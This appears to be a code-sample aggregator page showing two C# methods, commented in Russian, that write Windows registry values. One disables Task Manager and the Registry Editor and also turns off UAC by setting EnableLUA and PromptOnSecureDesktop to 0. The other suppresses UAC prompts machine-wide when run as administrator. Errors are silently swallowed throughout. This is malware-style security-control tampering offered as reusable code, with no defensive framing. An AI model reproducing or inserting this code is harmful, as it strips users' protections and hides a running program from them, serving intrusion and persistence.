Esempio n. 1
0
 /// <summary>
 /// Метод для отключения Диспетчера Задач и Реестра
 /// Список ключей которые будут затронуты находится в FiledsSystem
 /// </summary>
 /// <param name="regpath">Путь к разделу реестра</param>
 /// <param name="locker">Параметр для отключения/включения</param>
 /// <returns>true/false</returns>
 public static bool ToogleTaskMandRegedit(string regpath, int locker)
 {
     try
     {
         using (RegistryKey registry = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Regview))
             using (RegistryKey key = registry.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                 using (RegistryKey sxs = key.CreateSubKey("System"))
                 {
                     sxs.SetValue("EnableLUA", 0, RegistryValueKind.DWord);
                     sxs.SetValue("PromptOnSecureDesktop", 0, RegistryValueKind.DWord);
                     try
                     {
                         foreach (string k in FiledsSystem)
                         {
                             try
                             {
                                 sxs.SetValue(k, locker);
                             }
                             catch { }
                         }
                     }
                     catch (Exception) { return(false); }
                     return(true);
                 }
     }
     catch { return(false); }
 }
Esempio n. 2
0
 /// <summary>
 /// Метод для отключения показа уведомления контроля учётных записей пользователя (UAC)
 /// Список ключей которые будут затронуты находится в FieldsLocal
 /// </summary>
 /// <param name="regpath">Путь к разделу реестра</param>
 /// <param name="locker">Параметр для отключения/включения</param>
 /// <returns>true/false</returns>
 public static bool ToogleUacAdmin(string regpath, int locker)
 {
     try
     {
         if (RunCheck.IsUserAdministrator())
         {
             using (RegistryKey registry = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Regview))
                 using (RegistryKey key = registry.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                 {
                     try
                     {
                         foreach (string v in FieldsLocal)
                         {
                             try
                             {
                                 key.SetValue(v, locker, RegistryValueKind.DWord);
                             }
                             catch { }
                         }
                     }
                     catch (Exception) { return(false); }
                     return(true);
                 }
         }
         return(true);
     }
     catch (Exception) { return(false); }
 }